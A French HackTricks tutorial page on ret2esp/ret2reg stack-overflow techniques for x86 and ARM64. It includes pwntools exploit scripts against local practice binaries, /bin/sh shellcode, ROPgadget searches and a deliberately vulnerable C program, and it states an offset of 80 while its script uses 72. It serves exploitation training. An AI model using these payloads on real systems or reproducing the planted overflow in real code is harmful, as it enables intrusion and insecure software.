Ret2esp / Ret2reg
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.
Ret2esp
Parce que l'ESP (Pointeur de Pile) pointe toujours vers le haut de la pile, cette technique consiste à remplacer l'EIP (Pointeur d'Instruction) par l'adresse d'une instruction jmp esp
ou call esp
. En faisant cela, le shellcode est placé juste après l'EIP écrasé. Lorsque l'instruction ret
s'exécute, l'ESP pointe vers l'adresse suivante, précisément là où le shellcode est stocké.
Si l'Address Space Layout Randomization (ASLR) n'est pas activé sous Windows ou Linux, il est possible d'utiliser des instructions jmp esp
ou call esp
trouvées dans des bibliothèques partagées. Cependant, avec ASLR actif, il peut être nécessaire de chercher ces instructions dans le programme vulnérable lui-même (et vous pourriez avoir besoin de contourner PIE).
De plus, être capable de placer le shellcode après la corruption de l'EIP, plutôt qu'au milieu de la pile, garantit que toutes les instructions push
ou pop
exécutées pendant l'opération de la fonction n'interfèrent pas avec le shellcode. Cette interférence pourrait se produire si le shellcode était placé au milieu de la pile de la fonction.
Manque d'espace
Si vous manquez d'espace pour écrire après avoir écrasé le RIP (peut-être juste quelques octets), écrivez un shellcode initial jmp
comme :
sub rsp, 0x30
jmp rsp
Et écrivez le shellcode tôt dans la pile.
Exemple
Vous pouvez trouver un exemple de cette technique dans https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp avec un exploit final comme :
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
jmp_rsp = next(elf.search(asm('jmp rsp')))
payload = b'A' * 120
payload += p64(jmp_rsp)
payload += asm('''
sub rsp, 10;
jmp rsp;
''')
pause()
p.sendlineafter('RSP!\n', payload)
p.interactive()
Vous pouvez voir un autre exemple de cette technique dans https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html. Il y a un débordement de tampon sans NX activé, un gadget est utilisé pour réduire l'adresse de $esp
et ensuite un jmp esp;
pour sauter au shellcode :
# From https://guyinatuxedo.github.io/17-stack_pivot/xctf16_b0verflow/index.html
from pwn import *
# Establish the target process
target = process('./b0verflow')
#gdb.attach(target, gdbscript = 'b *0x080485a0')
# The shellcode we will use
# I did not write this, it is from: http://shell-storm.org/shellcode/files/shellcode-827.php
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
# Establish our rop gadgets
# 0x08048504 : jmp esp
jmpEsp = p32(0x08048504)
# 0x080484fd : push ebp ; mov ebp, esp ; sub esp, 0x24 ; ret
pivot = p32(0x80484fd)
# Make the payload
payload = ""
payload += jmpEsp # Our jmp esp gadget
payload += shellcode # Our shellcode
payload += "1"*(0x20 - len(shellcode)) # Filler between end of shellcode and saved return address
payload += pivot # Our pivot gadget
# Send our payload
target.sendline(payload)
# Drop to an interactive shell
target.interactive()
Ret2reg
De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est stocké, nous pouvons tirer parti des instructions call eax
ou jmp eax
(connues sous le nom de technique ret2eax), offrant une autre méthode pour exécuter notre shellcode. Tout comme eax, n'importe quel autre registre contenant une adresse intéressante pourrait être utilisé (ret2reg).
Exemple
Vous pouvez trouver quelques exemples ici :
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg
- https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c
strcpy
va stocker danseax
l'adresse du tampon où le shellcode a été stocké eteax
n'est pas écrasé, donc il est possible d'utiliser unret2eax
.
ARM64
Ret2sp
Dans ARM64, il n'y a pas d'instructions permettant de sauter au registre SP. Il pourrait être possible de trouver un gadget qui déplace sp vers un registre puis saute à ce registre, mais dans la libc de ma kali, je n'ai pas pu trouver de gadget comme ça :
for i in `seq 1 30`; do
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei "[mov|add] x${i}, sp.* ; b[a-z]* x${i}( |$)";
done
Les seuls que j'ai découverts changeraient la valeur du registre où sp a été copié avant de sauter à celui-ci (il deviendrait donc inutile) :
.png)
Ret2reg
Si un registre a une adresse intéressante, il est possible de sauter à celle-ci en trouvant simplement l'instruction adéquate. Vous pourriez utiliser quelque chose comme :
ROPgadget --binary /usr/lib/aarch64-linux-gnu/libc.so.6 | grep -Ei " b[a-z]* x[0-9][0-9]?";
En ARM64, c'est x0
qui stocke la valeur de retour d'une fonction, donc il se pourrait que x0 stocke l'adresse d'un tampon contrôlé par l'utilisateur avec un shellcode à exécuter.
Exemple de code :
// clang -o ret2x0 ret2x0.c -no-pie -fno-stack-protector -Wno-format-security -z execstack
#include <stdio.h>
#include <string.h>
void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("br x0");
return;
}
char* vulnerable_function() {
char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin);
return buffer;
}
int main(int argc, char **argv) {
char* b = vulnerable_function();
do_stuff(2)
return 0;
}
Vérifiant le désassemblage de la fonction, il est possible de voir que l'adresse du tampon (vulnérable au bof et contrôlée par l'utilisateur) est stockée dans x0
avant de revenir de l'overflow de tampon :
.png)
Il est également possible de trouver le gadget br x0
dans la fonction do_stuff
:
.png)
Nous allons utiliser ce gadget pour y sauter car le binaire est compilé SANS PIE. En utilisant un motif, il est possible de voir que l'offset de l'overflow de tampon est 80, donc l'exploit serait :
from pwn import *
p = process('./ret2x0')
elf = context.binary = ELF('./ret2x0')
stack_offset = 72
shellcode = asm(shellcraft.sh())
br_x0 = p64(0x4006a0) # Addr of: br x0;
payload = shellcode + b"A" * (stack_offset - len(shellcode)) + br_x0
p.sendline(payload)
p.interactive()
warning
Si au lieu de fgets
, quelque chose comme read
avait été utilisé, il aurait été possible de contourner PIE en écrivant seulement les 2 derniers octets de l'adresse de retour pour revenir à l'instruction br x0;
sans avoir besoin de connaître l'adresse complète.
Avec fgets
, cela ne fonctionne pas car il ajoute un octet nul (0x00) à la fin.
Protections
- NX : Si la pile n'est pas exécutable, cela ne sera pas utile car nous devons placer le shellcode dans la pile et sauter pour l'exécuter.
- ASLR & PIE : Cela peut rendre plus difficile de trouver une instruction pour sauter à esp ou à tout autre registre.
Références
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode
- https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/using-rsp
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs au HackTricks et HackTricks Cloud dépôts github.